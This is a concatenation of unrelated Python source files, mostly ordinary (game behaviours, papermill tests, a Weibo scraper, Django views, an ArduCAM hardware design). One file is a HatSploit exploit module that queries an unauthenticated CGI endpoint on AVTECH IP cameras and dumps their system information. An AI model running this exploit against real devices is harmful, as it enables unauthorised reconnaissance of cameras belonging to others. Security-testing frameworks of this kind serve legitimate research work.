BaseMoveToBehaviour\n\n\nclass MoveToBehaviour(BaseMoveToBehaviour):\n def is_terminated(self) -> bool:\n return COLLECTION_ALIVE not in self.subject.collections\n\n def _can_move_to_next_step(self, move_to_data: dict) -> bool:\n if move_to_data['gui_action'] == UserAction.ORDER_MOVE:\n return time.time() - move_to_data['last_intention_time'] >= \\\n self.subject.walk_duration\n if move_to_data['gui_action'] == UserAction.ORDER_MOVE_FAST:\n return time.time() - move_to_data['last_intention_time'] >= \\\n self.subject.run_duration\n if move_to_data['gui_action'] == UserAction.ORDER_MOVE_CRAWL:\n return time.time() - move_to_data['last_intention_time'] >= \\\n self.subject.crawl_duration\n\n raise NotImplementedError(\n 'Gui action {} unknown'.format(move_to_data['gui_action'])\n )\n\n def get_move_duration(self, move_to_data: dict) -> float:\n if move_to_data['gui_action'] == UserAction.ORDER_MOVE:\n return self.subject.walk_duration\n if move_to_data['gui_action'] == UserAction.ORDER_MOVE_FAST:\n return self.subject.run_duration\n if move_to_data['gui_action'] == UserAction.ORDER_MOVE_CRAWL:\n return self.subject.crawl_duration\n\n raise NotImplementedError(\n 'Gui action {} unknown'.format(move_to_data['gui_action'])\n )\n\n def finalize_event(self, move_to_data: dict, event: Event) -> None:\n event.move_duration = self.get_move_duration(move_to_data)\n\n\nclass LookAroundBehaviour(AliveSubjectBehaviour):\n \"\"\"\n Behaviour who permit to reference visible things like enemies\n \"\"\"\n visible_mechanism = OpponentVisibleMechanism\n use = [visible_mechanism]\n\n def __init__(self, *args, **kwargs) -> None:\n super().__init__(*args, **kwargs)\n self._seconds_frequency = float(self.config.resolve('game.look_around.frequency'))\n\n @property\n def seconds_frequency(self) -> typing.Optional[float]:\n return self._seconds_frequency\n\n def action(self, data) -> [Event]:\n new_visible_subject_events = []\n no_longer_visible_subject_events = []\n\n for no_longer_visible_subject_id in data['no_longer_visible_subject_ids']:\n no_longer_visible_subject_events.append(NoLongerVisibleOpponent(\n observer_subject_id=self.subject.id,\n observed_subject_id=no_longer_visible_subject_id,\n ))\n self.subject.visible_opponent_ids.remove(no_longer_visible_subject_id)\n\n for new_visible_subject_id in data['new_visible_subject_ids']:\n new_visible_subject_events.append(NewVisibleOpponent(\n observer_subject_id=self.subject.id,\n observed_subject_id=new_visible_subject_id,\n ))\n self.subject.visible_opponent_ids.append(new_visible_subject_id)\n\n return new_visible_subject_events + no_longer_visible_subject_events\n\n def run(self, data):\n visible_subjects = data[self.visible_mechanism]['visible_subjects']\n visible_subject_ids = [s.id for s in visible_subjects]\n new_visible_subject_ids = []\n no_longer_visible_subject_ids = []\n\n for subject_id in self.subject.visible_opponent_ids:\n if subject_id not in visible_subject_ids:\n no_longer_visible_subject_ids.append(subject_id)\n\n for subject in visible_subjects:\n if subject.id not in self.subject.visible_opponent_ids:\n new_visible_subject_ids.append(subject.id)\n\n return {\n 'new_visible_subject_ids': new_visible_subject_ids,\n 'no_longer_visible_subject_ids': no_longer_visible_subject_ids,\n }\n\n\nclass EngageOpponent(AliveSubjectBehaviour):\n visible_mechanism = OpponentVisibleMechanism\n use = [visible_mechanism]\n\n def __init__(self, *args, **kwargs) -> None:\n super().__init__(*args, **kwargs)\n self._seconds_frequency = float(self.config.resolve('game.engage.frequency'))\n\n @property\n def seconds_frequency(self) -> typing.Optional[float]:\n return self._seconds_frequency\n\n def action(self, data) -> [Event]:\n kill = data['kill']\n target_subject_id = data['target_subject_id']\n target_subject = self.simulation.subjects.index[target_subject_id]\n target_position = data['target_position']\n\n events = list()\n events.append(FireEvent(shooter_subject_id=self.subject.id, target_position=target_position))\n\n # Must be check if target is not already dead (killed same cycle)\n if kill and COLLECTION_ALIVE in target_subject.collections:\n DieEvent.apply_subject_death(target_subject)\n events.append(DieEvent(\n shooter_subject_id=self.subject.id,\n shoot_subject_id=target_subject_id,\n ))\n\n return events\n\n def run(self, data):\n visible_subjects = data[self.visible_mechanism]['visible_subjects']\n if not visible_subjects:\n return\n # Manage selected target (can change, better visibility, etc ...)\n # Manage weapon munition to be able to fire\n # Manage fear/under fire ...\n # Manage weapon reload time\n\n # For dev fun, don't fire at random\n if random.randint(1, 3) == -1:\n # Executed but decided to fail\n self.last_execution_time = time.time()\n return False\n\n target_subject = random.choice(visible_subjects)\n kill = random.randint(0, 100) >= 75\n\n # Manage fire miss or touch (visibility, fear, opponent hiding, etc ...)\n return {\n 'kill': kill,\n 'target_subject_id': target_subject.id,\n 'target_position': target_subject.position,\n }\n","sub_path":"opencombat/simulation/behaviour.py","file_name":"behaviour.py","file_ext":"py","file_size_in_byte":6445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"609016877","text":"import io\nimport os\nimport pytest\nimport shutil\nimport sys\nimport tempfile\nimport unittest\n\nimport nbformat\n\nfrom papermill.api import read_notebook\nfrom papermill.execute import execute_notebook, log_outputs\nfrom papermill.exceptions import PapermillExecutionError\nfrom . import get_notebook_path, RedirectOutput\n\n\nclass TestNotebookHelpers(unittest.TestCase):\n def setUp(self):\n self.test_dir = tempfile.mkdtemp()\n\n def tearDown(self):\n shutil.rmtree(self.test_dir)\n\n def test(self):\n nb_test1_fname = get_notebook_path('simple_execute.ipynb')\n nb_test1_executed_fname = os.path.join(self.test_dir, 'test1_executed.ipynb')\n execute_notebook(nb_test1_fname, nb_test1_executed_fname, {'msg': 'Hello'})\n test_nb = read_notebook(nb_test1_executed_fname)\n self.assertEqual(test_nb.node.cells[0].get('source'), u'# Parameters\\nmsg = \"Hello\"\\n')\n self.assertEqual(test_nb.parameters, {'msg': 'Hello'})\n\n\nclass TestBrokenNotebook1(unittest.TestCase):\n\n def setUp(self):\n self.test_dir = tempfile.mkdtemp()\n\n def tearDown(self):\n shutil.rmtree(self.test_dir)\n\n def test(self):\n path = get_notebook_path('broken1.ipynb')\n result_path = os.path.join(self.test_dir, 'broken1.ipynb')\n with self.assertRaises(PapermillExecutionError):\n execute_notebook(path, result_path)\n nb = read_notebook(result_path)\n self.assertEqual(nb.node.cells[0].cell_type, \"markdown\")\n self.assertEqual(nb.node.cells[1].execution_count, 1)\n self.assertEqual(nb.node.cells[2].execution_count, 2)\n self.assertEqual(nb.node.cells[2].outputs[0].output_type, 'error')\n self.assertEqual(nb.node.cells[3].execution_count, None)\n\n\nclass TestBrokenNotebook2(unittest.TestCase):\n\n def setUp(self):\n self.test_dir = tempfile.mkdtemp()\n\n def tearDown(self):\n shutil.rmtree(self.test_dir)\n\n def test(self):\n path = get_notebook_path('broken2.ipynb')\n result_path = os.path.join(self.test_dir, 'broken2.ipynb')\n with self.assertRaises(PapermillExecutionError):\n execute_notebook(path, result_path)\n nb = read_notebook(result_path)\n self.assertEqual(nb.node.cells[0].cell_type, \"markdown\")\n self.assertEqual(nb.node.cells[1].execution_count, 1)\n self.assertEqual(nb.node.cells[2].execution_count, 2)\n self.assertEqual(nb.node.cells[2].outputs[0].output_type, 'display_data')\n self.assertEqual(nb.node.cells[2].outputs[1].output_type, 'error')\n self.assertEqual(nb.node.cells[3].execution_count, None)\n\n\nclass TestLogging(unittest.TestCase):\n\n def setUp(self):\n self.saved_stdout = sys.stdout\n self.out = io.StringIO()\n sys.stdout = self.out\n\n def tearDown(self):\n sys.stdout = self.saved_stdout\n\n def test_logging(self):\n\n nb = nbformat.read(get_notebook_path('test_logging.ipynb'), as_version=4)\n\n # stderr output\n with RedirectOutput() as redirect:\n log_outputs(nb.cells[0])\n stdout = redirect.get_stdout()\n self.assertEqual(stdout, u'Out [1] --------------------------------\\n\\n')\n stderr = redirect.get_stderr()\n self.assertEqual(stderr, u'Out [1] --------------------------------\\nINFO:test:test text\\n\\n')\n\n # stream output\n with RedirectOutput() as redirect:\n log_outputs(nb.cells[1])\n stdout = redirect.get_stdout()\n self.assertEqual(stdout, u'Out [2] --------------------------------\\nhello world\\n\\n')\n stderr = redirect.get_stderr()\n self.assertEqual(stderr, u'Out [2] --------------------------------\\n\\n')\n\n # text/plain output\n with RedirectOutput() as redirect:\n log_outputs(nb.cells[2])\n stdout = redirect.get_stdout()\n self.assertEqual(stdout,\n (\n \"Out [3] --------------------------------\\n\"\n \"\\n\"\n \"\\n\"\n )\n )\n stderr = redirect.get_stderr()\n self.assertEqual(stderr, u'Out [3] --------------------------------\\n\\n')\n","sub_path":"papermill/tests/test_execute.py","file_name":"test_execute.py","file_ext":"py","file_size_in_byte":4384,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"197901320","text":"import numpy as np\r\nfrom sympy import var, sympify\r\n\r\ndef mle_linear_reg(fun,arg_x,arg_c,x_train,y_train,x_test):\r\n # declaring the constant and dependent variables as var of SYMPY\r\n n_ax=np.size(arg_x)\r\n n_ac=np.size(arg_c)\r\n cofmat=[]\r\n for i in range(n_ax):\r\n exec(\"%s = %s\" % (arg_x[i],var(arg_x[i])))\r\n for i in range(n_ac):\r\n exec(\"%s = %s\" % (arg_c[i],var(arg_c[i])))\r\n # declaring function\r\n f=sympify(fun)\r\n #fetching training data and feeding function\r\n n_train,n_ax=np.shape(x_train)\r\n mat_fun=[]\r\n for i in range(n_train):\r\n for j in range(n_ax):\r\n if j==0:\r\n tmp=f.subs([(arg_x[j],x_train[i,j])])\r\n else:\r\n tmp=tmp.subs([(arg_x[j],x_train[i,j])])\r\n mat_fun.append(tmp)\r\n #The \"A\" Matrix\r\n for i in range(n_ac):\r\n cofmat.append(var(arg_c[i]))\r\n q=sympy.linear_eq_to_matrix(mat_fun,cofmat)\r\n At=q[0]\r\n A=np.array(At).astype(np.float64)\r\n # Pesudo inverse of A\r\n pA=np.linalg.pinv(A)\r\n #coefficent prediction for the model\r\n C=np.dot(pA,y_train)\r\n #predictions of test values\r\n n_test,n_ax=np.shape(x_test)\r\n mat_fun=[]\r\n for i in range(n_test):\r\n for j in range(n_ax):\r\n if j==0:\r\n tmp=f.subs([(arg_x[j],x_test[i,j])])\r\n else:\r\n tmp=tmp.subs([(arg_x[j],x_test[i,j])])\r\n mat_fun.append(tmp)\r\n #\r\n cofmat=[]\r\n for i in range(n_ac):\r\n cofmat.append(var(arg_c[i]))\r\n qq=sympy.linear_eq_to_matrix(mat_fun,cofmat)\r\n At=qq[0]\r\n y_test=np.dot(At,C)\r\n #prediction of variance\r\n yhat=np.dot(q[0],C)\r\n tp1=y_train-yhat\r\n tp2=np.dot(tp1.T,tp1)/n_train\r\n sigma=np.sqrt(np.array(tp2,dtype='float64'))\r\n return(y_test,sigma,C)","sub_path":"Regression/MLE Linear Regression/MLE_reg.py","file_name":"MLE_reg.py","file_ext":"py","file_size_in_byte":1793,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"123126536","text":"from tools.myrequests import _requests as request\r\nfrom tools.myrequests import Headers as headers\r\nimport json\r\nfrom pyquery import PyQuery\r\nimport time\r\nimport queue\r\nimport threading\r\nimport logging\r\nfrom lxml import html\r\n\r\n\r\ndef get_followers_count(id):\r\n url = 'https://m.weibo.cn/api/container/getIndex?type=uid&value={}'.format(id)\r\n\r\n response = request.get(url,headers=headers)\r\n info = json.loads(response.text)\r\n\r\n print(info['data']['userInfo']['followers_count'])\r\n\r\ndef get_data(id):\r\n url = 'https://m.weibo.cn/api/statuses/repostTimeline?id={}'.format(id)\r\n response = request.get(url, headers=headers)\r\n info = json.loads(response.text)\r\n forward = info['data']['total_number']\r\n\r\n url = 'https://m.weibo.cn/api/comments/show?id={}'.format(id)\r\n response = request.get(url, headers=headers)\r\n info = json.loads(response.text)\r\n comments = info['data']['total_number']\r\n\r\n url = 'https://m.weibo.cn/api/attitudes/show?id={}'.format(id)\r\n response = request.get(url, headers=headers)\r\n info = json.loads(response.text)\r\n attitudes = info['data']['total_number']\r\n\r\n data = {\r\n 'forward':forward,\r\n 'comments': comments,\r\n 'attitudes': attitudes,\r\n }\r\n print(data)\r\n\r\nif __name__ == '__main__':\r\n get_followers_count(3099016097)\r\n get_data(4532355803646445)","sub_path":"test/weibo.py","file_name":"weibo.py","file_ext":"py","file_size_in_byte":1356,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"2028395","text":"#!/usr/bin/env python3\n\n#\n# This module requires HatSploit: https://hatsploit.netlify.app\n# Current source: https://github.com/EntySec/HatSploit\n#\n\nfrom hatsploit.lib.module import Module\nfrom hatsploit.utils.http import HTTPClient\n\n\nclass HatSploitModule(Module, HTTPClient):\n details = {\n 'Name': \"AVTECH IP Camera Information Disclosure\",\n 'Module': \"exploit/unix/avtech/ipcamera_information_disclosure\",\n 'Authors': [\n 'Ivan Nikolsky (enty8080) - module developer'\n ],\n 'Description': \"AVTECH IP Camera information disclosure exploit.\",\n 'Comments': [\n ''\n ],\n 'Platform': \"unix\",\n 'Risk': \"high\"\n }\n\n options = {\n 'RHOST': {\n 'Description': \"Remote host.\",\n 'Value': None,\n 'Type': \"ip\",\n 'Required': True\n },\n 'RPORT': {\n 'Description': \"Remote port.\",\n 'Value': 80,\n 'Type': \"port\",\n 'Required': True\n }\n }\n\n def exploit(self, remote_host, remote_port):\n response = self.http_request(\n method=\"GET\",\n host=remote_host,\n port=remote_port,\n path='/cgi-bin/nobody/Machine.cgi?action=get_capability'\n )\n\n data = response.text.strip()\n headers = ('Variable', 'Value')\n variables = list()\n\n for variable in data.split('\\n'):\n variable = variable.split('=')\n if len(variable) >= 2:\n variables.append((variable[0], variable[1]))\n\n self.print_table(\"System Information\", headers, *variables)\n\n def check(self, remote_host, remote_port):\n response = self.http_request(\n method=\"GET\",\n host=remote_host,\n port=remote_port,\n path='/cgi-bin/nobody/Machine.cgi?action=get_capability'\n )\n\n if not response or response.status_code != 200:\n self.output_error(\"Target is not vulnerable!\")\n return False\n\n return True\n\n def run(self):\n remote_host, remote_port = self.parse_options(self.options)\n\n self.output_process(f\"Exploiting {remote_host}...\")\n\n if not self.check(remote_host, remote_port):\n self.output_error(\"Exploit failed!\")\n return\n\n self.exploit(remote_host, remote_port)\n","sub_path":"hatsploit/modules/exploit/unix/avtech/ipcamera_information_disclosure.py","file_name":"ipcamera_information_disclosure.py","file_ext":"py","file_size_in_byte":2368,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"444473758","text":"from django.shortcuts import render, get_object_or_404, redirect\nfrom homepage.views import layoutdata\nfrom .models import Company, CompanyComment, \\\n CompanyProduct, CompanyRegisterForm, \\\n CompanyProductInsertForm, CompanyMessage\nfrom .models import Categories\nfrom django.db.models import Q\nfrom django.contrib.auth.models import User\n\n\ndef detail(request, firmaadi, pk):\n model = layoutdata(request)\n model[\"company\"] = get_object_or_404(Company, id=pk)\n if model[\"active_company\"].id != model[\"company\"].id:\n if model[\"company\"].company_is_approved == False:\n return redirect('anasayfa:index')\n model[\"companycomments\"] = CompanyComment.objects.filter(company__in=[model[\"company\"].id],\n is_approved=True).order_by('-create_date')\n model[\"companypoducts\"] = CompanyProduct.objects.filter(company__in=[model[\"company\"].id])\n if model[\"active_company\"]:\n if model[\"active_company\"].id == model[\"company\"].id:\n company_form = CompanyRegisterForm(request.POST or None, instance=model[\"company\"])\n else:\n company_form = CompanyRegisterForm()\n else:\n company_form = CompanyRegisterForm()\n model[\"company_form\"] = company_form\n\n if model[\"active_company\"]:\n if model[\"active_company\"].id == model[\"company\"].id:\n company_product_form = CompanyProductInsertForm()\n else:\n company_product_form = CompanyProductInsertForm()\n else:\n company_product_form = CompanyProductInsertForm()\n model[\"company_product_form\"] = company_product_form\n\n # model[\"messages\"] = CompanyMessage.objects.filter(Q(sending_user_id=pk) | Q(send_user_id=pk)).order_by('-create_date')\n userMessages = CompanyMessage.objects.filter(Q(sending_user_id=model[\"active_company\"].id)).order_by('-create_date')\n values = []\n for item in userMessages:\n isAdded = False\n for val in values:\n if val['user']['id'] == item.send_user.id:\n isAdded = True\n if isAdded == False:\n data = {'user': {'id': item.send_user.id, 'name': item.send_user.name}, 'content': item.content}\n values.append(data)\n model[\"messages\"] = values\n return render(request, \"company/index.html\", model)\n\n\ndef search_company(request, search_text):\n model = layoutdata(request)\n model[\"search_text\"] = search_text\n model[\"company\"] = Company.objects.filter(Q(company_keywords__icontains=search_text), is_customer=False,\n company_is_approved=True).order_by()\n model[\"category_list\"] = Categories.objects.filter(is_active=True).order_by('order')\n return render(request, \"company/search_company.html\", model)\n\n\ndef search_location_with_company(request):\n model = layoutdata(request)\n model[\"search_text\"] = request.POST['search_text']\n model[\"company\"] = Company.objects.filter((Q(country__icontains=request.POST['country']) |\n Q(county__icontains=request.POST['county'])) & Q(\n company_keywords__icontains=model[\"search_text\"].lower()), is_customer=False,\n company_is_approved=True).order_by()\n model[\"category_list\"] = Categories.objects.filter(is_active=True).order_by('order')\n model[\"country\"] = request.POST['country']\n model[\"county\"] = request.POST['county']\n return render(request, \"company/search_company.html\", model)\n\n\ndef updatedetail(request):\n model = layoutdata(request)\n instance = get_object_or_404(Company, id=model[\"active_company\"].id)\n form = CompanyRegisterForm(request.POST or None, request.FILES or None, instance=instance)\n if form.is_valid():\n form.save()\n model = layoutdata(request)\n return redirect(\"/firma/\" + model[\"active_company\"].name + \"/\" + str(model[\"active_company\"].id))\n return redirect(\"/firma/\" + model[\"active_company\"].name + \"/\" + str(model[\"active_company\"].id))\n\n\ndef deleteproduct(request, pk):\n CompanyProduct.objects.get(pk=pk).delete()\n model = layoutdata(request)\n return redirect(\"/firma/\" + model[\"active_company\"].name + \"/\" + str(model[\"active_company\"].id))\n\n\ndef createproduct(request):\n model = layoutdata(request)\n product = CompanyProductInsertForm(request.POST, request.FILES)\n if product.is_valid():\n companyProduct = CompanyProduct(\n name=product.cleaned_data['name'],\n image=product.cleaned_data['image'],\n price=product.cleaned_data['price'],\n company_id=model[\"active_company\"].id)\n companyProduct.save()\n return redirect(\"/firma/\" + model[\"active_company\"].name + \"/\" + str(model[\"active_company\"].id))\n\n\ndef sendmessage(request):\n model = layoutdata(request)\n send = model[\"active_company\"].id\n sending = request.POST[\"sending-user-id\"]\n content = request.POST[\"message-content\"]\n if send or sending or content:\n message = CompanyMessage(send_user_id=send,\n sending_user_id=sending,\n content=content)\n message.save()\n return redirect(\"anasayfa:index\")\n else:\n return redirect(\"anasayfa:index\")\n\n\ndef sendcomment(request):\n model = layoutdata(request)\n send = model[\"active_company\"].id\n content = request.POST[\"content\"]\n point = request.POST[\"starCount\"]\n if send and content:\n comment = CompanyComment(user_id=send,\n content=content,\n is_approved=False,\n company_id=request.POST[\"company_id\"],\n point=point)\n comment.save()\n return redirect(\"/firma/\" + request.POST[\"company_name\"] + \"/\" + str(request.POST[\"company_id\"]))\n else:\n return redirect(\"anasayfa:index\")\n","sub_path":"otomabak/company/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":5928,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"475376022","text":"'''\n@Author: LW\n@Date: 2020-06-20 21:30:18\n@LastEditTime: 2020-06-25 22:28:21\n@LastEditors: Please set LastEditors\n@Description: 遍历文件夹,生成路径文件树\n@FilePath: \\py_project\\sometools\\文件处理\\LW_dealfile.py\n'''\n# !/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# a test for traverse directory\n\nimport os\nimport pprint\nimport os.path\n\n\nclass FileClass:\n def __init__(self, name):\n self.filename = name\n\n# ###遍历文件夹,处理每个文件\n def walkfile(self):\n \"\"\"\n root [表示当前正在访问的文件夹路径],\n dirs [表示该文件夹下的子目录名list],\n files [表示该文件夹下的文件list]\n \"\"\"\n file = self.filename\n for root, dirs, files in os.walk(file):\n # 遍历文件\n for f in files:\n print(os.path.join(root, f))\n\n # 遍历所有的文件夹\n for d in dirs:\n print(os.path.join(root, d))\n\n def dir_tree(self, path, sub_tree):\n if sub_tree == 0:\n print(path) # 输出第一级目录\n\n path_tree = os.listdir(path) # 获取当前目录下的文件和目录\n\n for item in path_tree:\n if '.git' not in item:\n print(\"| \" * sub_tree + \"|___\" + item)\n subtree = path + '\\\\' + item\n if os.path.isdir(subtree): # 判断是否为目录\n FileClass.dir_tree(self, subtree, sub_tree + 1) # 递归深度优先遍历\n\ndef main():\n A = FileClass(\"./\")\n A.walkfile()\n print(A.walkfile.__doc__)\n\n basepath = input(\">>:\")\n A.dir_tree(basepath, 0)\n\nif __name__ == '__main__':\n main()\n","sub_path":"文件处理/文件夹遍历及文件树生成.py","file_name":"文件夹遍历及文件树生成.py","file_ext":"py","file_size_in_byte":1690,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"76505602","text":"import random\nimport string\n\ndef getRandomNumber(starter, ender):\n #print(starter)\n #print(ender)\n return random.randrange(starter, ender)\n\ndef diceroll():\n selection = ['1', '2', '3', '4', '5', '6']\n return random.choice(selection)\n\ndef getAlphanumeric(length):\n string_pool = string.ascii_letters + string.digits\n\n result=\"\"\n for _i in range(length):\n result += random.choice(string_pool)\n return result\n\ndef getHexadecimal(length):\n string_pool = '1234567890ABCDEF'\n\n result=\"\"\n for _i in range(length):\n result += random.choice(string_pool)\n return result\n\ndef getLottoNumberPick():\n result_pool = random.sample(range(1, 45 + 1), 7)\n result_string = \"\"\n\n for i in range(0, 6 + 1):\n if i == 6:\n result_string += \" + \"\n result_string += (\"**\" + str(result_pool[i]) + \"**\") # for highlight(bold style) in Discord\n if i < 5:\n result_string += \" | \"\n\n return result_string\n\n# a = \"10\"\n# b = \"80\"\n\n# print(getRandomNumber(int(a), int(b)))\n# print(getLottoNumberPick())","sub_path":"COMMAND_RANDOM_/randomToolBox.py","file_name":"randomToolBox.py","file_ext":"py","file_size_in_byte":1085,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"44613393","text":"import magma as m\nfrom magma.bitutils import int2seq\nfrom mantle.util.edge import falling, rising\nfrom mantle import I0, I1, I2, I3\nimport mantle\nfrom rom import ROM16\nfrom uart import UART\n\ntrigger = m.VCC # maybe tie to GPIO later\n\n#tf_size = 202752\ntf_size = 153600\n\n# ArduCAM start capture sequence\ninit = [\n # Change MCU mode\n m.array(int2seq(0x8200, 16)),\n # Start capture\n m.array(int2seq(0x8401, 16)),\n m.array(int2seq(0x8401, 16)),\n m.array(int2seq(0x8402, 16)),\n # check capture completion flag\n m.array(int2seq(0x4100, 16)),\n # Read image length\n m.array(int2seq(0x4200, 16)),\n m.array(int2seq(0x4300, 16)),\n m.array(int2seq(0x4400, 16)),\n # burst read\n m.array(int2seq(0x3CFF, 16)),\n m.array(int2seq(0x0000, 16)),\n m.array(int2seq(0x0000, 16)),\n m.array(int2seq(0x0000, 16)),\n m.array(int2seq(0x0000, 16)),\n m.array(int2seq(0x0000, 16)),\n m.array(int2seq(0x0000, 16)),\n m.array(int2seq(0x0000, 16))\n]\n\n\nclass ArduCAM(m.Circuit):\n name = \"ArduCAM\"\n IO = ['CLK', m.In(m.Clock), 'SCK', m.In(m.Bit), 'MISO', m.In(m.Bit),\n 'EN', m.Out(m.Bit), 'MOSI', m.Out(m.Bit), 'DATA', m.Out(m.Bits(8)),\n 'VALID', m.Out(m.Bit), 'UART', m.Out(m.Bit), 'DONE', m.Out(m.Bit)]\n\n @classmethod\n def definition(cam):\n edge_f = falling(cam.SCK)\n edge_r = rising(cam.SCK)\n\n # ROM to store commands\n rom_index = mantle.Counter(4, has_ce=True)\n rom = ROM16(4, init, rom_index.O)\n\n # Message length is 16 bits, setup counter to generate done signal\n # after EOM\n done_counter = mantle.Counter(5, has_ce=True, has_reset=True)\n count = done_counter.O\n done = mantle.Decode(16, 5)(count)\n\n # State machine to generate run signal (enable)\n run = mantle.DFF(has_ce=True)\n run_n = mantle.LUT3([0, 0, 1, 0, 1, 0, 1, 0])\n run_n(done, trigger, run)\n run(run_n)\n m.wire(edge_f, run.CE)\n\n # Reset the message length counter after done\n run_reset = mantle.LUT2(I0 | ~I1)(done, run)\n done_counter(CE=edge_r, RESET=run_reset)\n\n # State variables for high-level state machine\n ready = mantle.LUT2(~I0 & I1)(run, edge_f)\n start = mantle.ULE(4)(rom_index.O, m.uint(3, 4))\n burst = mantle.UGE(4)(rom_index.O, m.uint(9, 4))\n\n # Shift register to store 16-bit command|data to send\n mosi = mantle.PISO(16, has_ce=True)\n # SPI enable is negative of load-don't load and shift out data at the\n # same time\n enable = mantle.LUT3(I0 & ~I1 & ~I2)(trigger, run, burst)\n mosi(~burst, rom.O, enable)\n m.wire(edge_f, mosi.CE)\n\n # Shit register to read in 8-bit data\n miso = mantle.SIPO(8, has_ce=True)\n miso(cam.MISO)\n valid = mantle.LUT2(~I0 & I1)(enable, edge_r)\n m.wire(valid, miso.CE)\n\n # Capture done state variable\n cap_done = mantle.SRFF(has_ce=True)\n cap_done(mantle.EQ(8)(miso.O, m.bits(0x08, 8)), 0)\n m.wire(enable & edge_r, cap_done.CE)\n\n # Use state variables to determine what commands are sent (how)\n increment = mantle.LUT4(I0 & (I1 | I2) & ~I3)(\n ready, start, cap_done, burst)\n m.wire(increment, rom_index.CE)\n\n # wire outputs\n m.wire(enable, cam.EN)\n m.wire(mosi.O, cam.MOSI)\n m.wire(miso.O, cam.DATA)\n m.wire(burst, cam.VALID)\n\n # --------------------------UART OUTPUT---------------------------- #\n\n # run UART at 2x SPI rate to allow it to keep up\n baud = edge_r | edge_f\n\n # reset when SPI burst read (image transfer) begins\n ff = mantle.FF(has_ce=True)\n m.wire(edge_r, ff.CE)\n u_reset = mantle.LUT2(I0 & ~I1)(burst, ff(burst))\n\n # UART data out every 8 bits\n u_counter = mantle.CounterModM(8, 4, has_ce=True, has_reset=True)\n u_counter(CE=edge_r, RESET=u_reset)\n load = burst & rising(u_counter.COUT)\n\n # generate signal for when transfer is done\n data_count = mantle.Counter(18, has_ce=True)\n tx_done = mantle.SRFF(has_ce=True)\n # transfer has size 153600 bytes, first 2 bytes are ignored\n tx_done(mantle.EQ(18)(data_count.O, m.bits(tf_size + 2, 18)), 0)\n m.wire(load, tx_done.CE)\n m.wire(load, data_count.CE)\n\n # wire output\n m.wire(tx_done, cam.DONE)\n\n uart = UART(8)\n uart_load = mantle.LUT2(I0 & ~I1)(load, tx_done)\n uart(CLK=cam.CLK, BAUD=baud, DATA=miso, LOAD=uart_load)\n\n # wire output\n m.wire(uart, cam.UART)\n","sub_path":"HX8K/arducam.py","file_name":"arducam.py","file_ext":"py","file_size_in_byte":4601,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"342605555","text":"import json\nfrom collections import OrderedDict\nfrom pprint import pprint\nimport os\n\n\ndef iterable(cls):\n def iterfn(self):\n iters = dict((x, y) for x, y in cls.__dict__.items() if x[:2] != '__')\n iters.update(self.__dict__)\n\n for x, y in iters.items():\n if y != None:\n yield x, y\n\n cls.__iter__ = iterfn\n return cls\n\n\n@iterable\nclass Node(object):\n def __init__(self, name=None, stage=None, delivery_function=None, config=None, lambda_function=None):\n self.name = name\n self.stage = stage\n self.delivery_function = delivery_function\n self.config = config\n self.lambda_function = lambda_function\n\n\n@iterable\nclass Stream(object):\n def __init__(self, src=None, dst=None):\n self.src = src\n self.dst = dst\n\n\n@iterable\nclass Config(object):\n def __init__(self, framesperchunk=None, chunklimit=None, duration=None, nworkers=None, nsockets=None, outdir=None, cmd=None):\n self.framesperchunk = framesperchunk\n self.chunklimit = chunklimit\n self.duration = duration\n self.nworkers = nworkers\n self.nsockets = nsockets\n self.outdir = outdir\n self.cmd = cmd\n\n\nclass Encoder(json.JSONEncoder):\n\n def default(self, obj):\n if isinstance(obj, Config) or isinstance(obj, Stream) or isinstance(obj, Node):\n return OrderedDict(obj)\n else:\n return super().default(obj)\n\n\ndef decode_config(dct):\n if dct != None:\n return Config(framesperchunk=dct.get(\"framesperchunk\"),\n chunklimit=dct.get(\"chunklimit\"),\n duration=dct.get(\"duration\"),\n nworkers=dct.get(\"nworkers\"),\n nsockets=dct.get(\"nsockets\"),\n outdir=dct.get(\"outdir\"),\n cmd=dct.get(\"cmd\")\n )\n return dct\n\n\ndef decode(dct):\n if \"name\" in dct and \"stage\" in dct:\n return Node(name=dct.get(\"name\"), stage=dct.get(\"stage\"),\n delivery_function=dct.get(\"delivery_function\"),\n config=decode_config(dct.get(\"config\")),\n lambda_function=dct.get(\"lambda_function\"))\n elif \"src\" in dct and \"dst\" in dct:\n return Stream(src=dct[\"src\"], dst=dct[\"dst\"])\n else:\n return dct\n\n\ndef val_str(val):\n if val != None:\n return \"\\\"\"+str(val)+\"\\\"\"\n else:\n return \"None\"\n\n\ndef config_str(config):\n if config != None:\n return \"Config(framesperchunk=\" + val_str(config.framesperchunk) + \\\n \", chunklimit=\" + val_str(config.chunklimit) + \\\n \", duration=\" + val_str(config.duration) + \\\n \", nworkers=\" + val_str(config.nworkers) + \\\n \", nsockets=\" + val_str(config.nsockets) + \\\n \", outdir=\" + val_str(config.outdir) + \\\n \", cmd=\" + val_str(config.cmd) + \")\"\n else:\n return \"None\"\n","sub_path":"pipespec/spec.py","file_name":"spec.py","file_ext":"py","file_size_in_byte":2943,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"12"} +{"seq_id":"29840044","text":"import torch\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport logging\n\nimport torch_scatter\nfrom torch_geometric.nn.conv import MessagePassing\nfrom torch_geometric.nn import GCNConv\n\nfrom torch_geometric.utils.convert import to_scipy_sparse_matrix\nfrom scipy.sparse import coo_matrix\nfrom losses import soft_spectral_loss, hard_spectral_loss\n\nimport numpy as np\n\nfrom layers import *\nfrom utils import *\n\nclass ImplicitGraphNeuralNet(torch.nn.Module):\n 